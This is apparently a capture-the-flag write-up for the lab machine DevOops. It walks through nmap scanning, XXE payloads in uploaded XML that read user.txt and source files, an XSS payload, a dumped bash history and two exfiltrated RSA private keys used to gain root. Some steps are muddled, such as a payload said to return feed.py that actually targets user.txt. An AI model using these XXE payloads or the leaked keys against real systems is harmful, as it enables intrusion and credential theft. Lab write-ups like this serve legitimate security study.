Description
Name: DevOops
IP: 10.10.10.91
Author: lokori
Difficulty: 3.9/10
Discovery nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.91
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Nmap scan report for 10.10.10.91 Host is up (0.054s latency). Not shown: 62769 closed ports, 2764 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) 5000/tcp open upnp? | fingerprint-strings: | GenericLines: | HTTP/1.1 400 Bad Request | Connection: close | Content-Type: text/html | Content-Length: 173 | <html> | <head> | <title>Bad Request</title> | </head> | <body> | <h1><p>Bad Request</p></h1> | Invalid Request Line 'Invalid HTTP request line: ''' | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5000-TCP:V=7.70%I=7%D=6/17%Time=5B267593%P=x86_64-unknown-linux-gnu SF:%r(GenericLines,10A,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\ SF:x20close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20173\r\n\r\ SF:n<html>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\ SF:n\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request SF:</p></h1>\n\x20\x20\x20\x20Invalid\x20Request\x20Line\x20'Invalid\x20HT SF:TP\x20request\x20line:\x20'''\n\x20\x20</body>\n</html>\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On the 5000 port is a gunicorn/19.7.1
webserver which serve python code.
dirsearch
founds:
1 2 3 [17:15:09] 200 - 285B - / [17:15:22] 200 - 533KB - /feed [17:15:47] 200 - 347B - /upload
In the above page there is a HTML comment: <!-- TODO: make XML schema for this -->
.
Pwn The upload
page want a XML file to submit an article to feed page, the comment suggests that the application do not check if the XML is correct or not and could lead to a XXE attack .
We must first create the XML to upload:
1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8"?> <feed > <Author > dodo</Author > <Subject > culo</Subject > <Content > asd</Content > </feed >
PROCESSED BLOGPOST: Author: dodo Subject: culo Content: asd URL for later reference: /uploads/ex.xml File path: /home/roosa/deploy/src
Then using a malicious XML is possible to exfiltrate data:
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/user.txt" > ]> <feed > <Author > dodo</Author > <Subject > culo</Subject > <Content > &xxe; </Content > </feed >
The upload of the above file will return us the source code of feed.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ') def uploaded_file(filename): return send_from_directory(Config.UPLOAD_FOLDER, filename) @app.route("/") def xss(): return template(' index.html') @app.route("/feed") def fakefeed(): return send_from_directory(".","devsolita-snapshot.png") @app.route("/newpost", methods=["POST"]) def newpost(): # TODO: proper save to database, this is for testing purposes right now picklestr = base64.urlsafe_b64decode(request.data) # return picklestr postObj = pickle.loads(picklestr) return "POST RECEIVED: " + postObj[' Subject'] ## TODO: VERY important! DISABLED THIS IN PRODUCTION #app = DebuggedApplication(app, evalex=True, console_path=' /debugconsole') # TODO: Replace run-gunicorn.sh with real Linux service script # app = DebuggedApplication(app, evalex=True, console_path=' /debugconsole') if __name__ == "__main__": app.run(host=' 0.0 .0 ,0 ', Debug=True)
Now using the same technique we can read the user.txt
:
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/user.txt" > ]> <feed > <Author > dodo</Author > <Subject > culo</Subject > <Content > &xxe; </Content > </feed >
The upload returns: PROCESSED BLOGPOST: Author: dodo Subject: culo Content: c5808e1643e801d40f09ed87cdecc67b URL for later reference: /uploads/ex.xml File path: /home/roosa/deploy/src
.
Trying to read the root.txt
file the upload form will crash.
Using this XML is possible to trigger an XXS on upload:
1 2 3 4 5 6 7 8 9 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/deploy/src/feed.py" > ]> <feed > <Author > dodo</Author > <Subject > culo</Subject > <Content > <![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]></Content > </feed >
Exfiltrating app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 def run_gunicorn_app (host, port, debug, **settings) : """Serve Flask application using Gunicorn. The Flask application and respective resources and endpoints should defined in `app.py` in this same directory. """ logging.basicConfig(level='DEBUG' if debug else 'INFO' ) os.environ['FLASK_RUN_FROM_CLI_SERVER' ] = '1' settings['bind' ] = '{}:{}' .format(host, port) if debug: feed.jinja_env.auto_reload = True feed.config['TEMPLATES_AUTO_RELOAD' ] = True settings.update({'loglevel' : 'debug' , 'reload' : True , 'threads' : 1 , 'workers' : 1 , 'worker_class' : 'sync' }) feed.wsgi_app = DebuggedApplication(feed.wsgi_app, True ) logging.info(" * Launching in Debug mode." ) logging.info(" * Serving application using a single worker." ) else : logging.info(" * Launching in Production Mode." ) logging.info(" * Serving application with {} worker(s)." .format(settings["workers" ])) server = GunicornApp(feed, settings=settings) server.run() if __name__ == "__main__" : run_gunicorn_app("0.0.0.0" , 5000 , True , None )
Since we have access to $HOME
files we can read the .bash_history
of roosa
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 ssh-keygen ls -altr .ssh/ cat .ssh/id_rsa.pub nano /etc/host nano /etc/hostname sudo nano /etc/hostname exit nano .ssh/id_rsa.pub exit ssh git@localhost exit ssh git@localhost clear apt-get upgrade exit ls -altr mkdir work cd workmkdir blogfeed git init git add . git commit -m 'initial commit' git config --global user.email "roosa@solita.fi" git config --global user.name "Roosa Hakkerson" git commit -m 'initial commit' nano README-MD nano README-md nano README.md git add README.md git commit -m 'initial commit' git remote add origin git@localhost:/srv/git/blogfeed.git git push origin master exit ps -Af kill 27499exit sudo su - exit groups exit git push origin master cd work/blogfeed/git push origin master cd ..cd blogfeed/cd ..git add README.md git commit -m 'Initial commit' git push git log ls mkdir src mkdir resources cd resourcesmkdir integration mkdir integration/auth_credentials.key nano integration/auth_credentials.key/ ls -altr chmod go-rwx authcredentials.key ls -atlr cd ..ls -altr chmod -R o-rwx . ls -altr ls resources/ ls resources/integration/ ls -altr resources/ ls -altr resources/integration/ rm -Rf resources/integration/auth_credentials.key mv resources/authcredentials.key resources/integration/ git add resources/integration/authcredentials.key git commit -m 'add key for feed integration from tnerprise backend' ls -altr resources/integration/ git push ssh-keygen ös -altr ls .altr ls -altr cat kak cp kak resources/integration/authcredentials.key git add resources/integration/authcredentials.key git commit -m 'reverted accidental commit with proper key' git push ls -altr rm kak rm kak.pub git log ls -altr emacs src/feed.py nano src/feed.py nano src/feed.py cd src/ls -altr nano index.html nano upload.html less feed.py fg fgg nano feed.py ls -altr cd ..ls -altr git status git add run-gunicorn.sh nano run-gunicorn.sh git add run-gunicorn.sh git commit -m 'Gunicorn startup script' git push git add src/feed.py git add src/upload.html git add src/index.html git commit -m 'Blogfeed app, initial version.' git push git log nano src/feed.py ifconfig ls .. ls -altr ~ cat ~/.wget-hsts cat ~/.gitconfig cat ~/examples.desktop ls -altr ~ cat ~/.bash_history cat run-gunicorn.sh chmod u+x run-gunicorn.sh ./run-gunicorn.sh ls -altr cat feed.log nano src/feed.py cd src/../run-gunicorn.sh ls -altr ifconfig python -m SimpleHTTPServer ../run-gunicorn.sh ls -altr rm access.log rm feed.log ls -atlr rm blagpost-xxe.xml cd ..ls -altr rm access.log rm feed.log ls -altr cd srcnano feed.py ../run-gunicorn.sh ps -Af ps ../run-gunicorn.sh ls cat feed.log fg nano feed.py fg nano feed. nano feed.py ../run-gunicorn.sh less feed. less feed.log ../run-gunicorn.sh export WERKZEUG_DEBUG_PIN=12345../run-gunicorn.sh nano config.py nano feed. nano feed.py fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh cccfg fg ../run-gunicorn.sh nano config.py fg nano feed.py ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg less config.py nano config.py fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh less ../run-gunicorn.sh cat ../run-gunicorn.sh nano app.py emacs app.py xemacs app.py emacs app.py cat ../run-gunicorn.sh emacs feed.py ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh ls -altr git add feed.py git status git diff ../run-gunicorn.sh ls -altr .. git add ../run-gunicorn.sh git commit -m 'Debug support added to make development more agile.' git push ls -altr git log ls -altr ls -latr cd ..ls -altr cd .gitls -altr cd ..cd src../run-gunicorn.sh ls -altr cd ..cat run-gunicorn.sh emacs run-gunicorn.sh ../run-gunicorn.sh fg emacs feed.py ../run-gunicorn.sh git status git add feed.py cat ../run-gunicorn.sh git add ../run-gunicorn.sh git commit -m 'Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.' git push git log cat ../run-gunicorn.sh ../run-gunicorn.sh set | grep DEBfg cat ../run-gunicorn.sh ../run-gunicorn.sh top ls -altr emacs index.html ../run-gunicorn.sh fg emacs index.html ../run-gunicorn.sh fg emacs feed.py emacs index.html ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg emacs index.html ../run-gunicorn.sh ps -Af kill 26593ps -Af kill -9 26593kill -9 26594ls -altr emas ../run-gunicorn.sh emacs ../run-gunicorn.sh emacs feed. emacs feed.py fg emacs feed.py python cat save.p fg emacs feed.py ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh fg ../run-gunicorn.sh cat /etc/passwd sudo su - groups sudo su - exit fg exit sudo su - clear ls -altr exit set |grep DEBcd work/blogfeed/src/cat ../run-gunicorn.sh ../run-gunicorn.sh cat ../run-gunicorn.sh export WERKZEUG_DEBUG_PIN=15123786emacs ../run-gunicorn.sh export WERKZEUG_DEBUG_PIN=151237cat ../run-gunicorn.sh ../run-gunicorn.sh emacs ../run-gunicorn.sh export WERKZEUG_DEBUG_PIN=151237652../run-gunicorn.sh fg emacs feed.py cat ../run-gunicorn.sh fg cat ../run-gunicorn.sh ../run-gunicorn.sh export FLASK_DEBUG=1../run-gunicorn.sh python feed.py flask run emacs feed. fg export FLASK_HOST=0.0.0.0emacs feed. flask run flask --help fg ¨emacs feed.py emacs ../run-gunicorn.sh emacs feed.py ../run-gunicorn.sh
We now know that in /home/.ssh/
there is a public and a private key used to connect to the server. We exfiltrate the private key:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4 9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3 koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7 e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe 8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6 NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93 hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0 ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0 8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq 82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s= -----END RSA PRIVATE KEY-----
In /home/roosa/work/blogfeed
we should check for the git history and retrieve the private key wrongly committed on the repo using git log -p
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde 8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+ CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa 2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41 IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw +XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW 7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7 VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6 md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE= -----END RSA PRIVATE KEY-----
With this key is possible to connect as root and read the flag.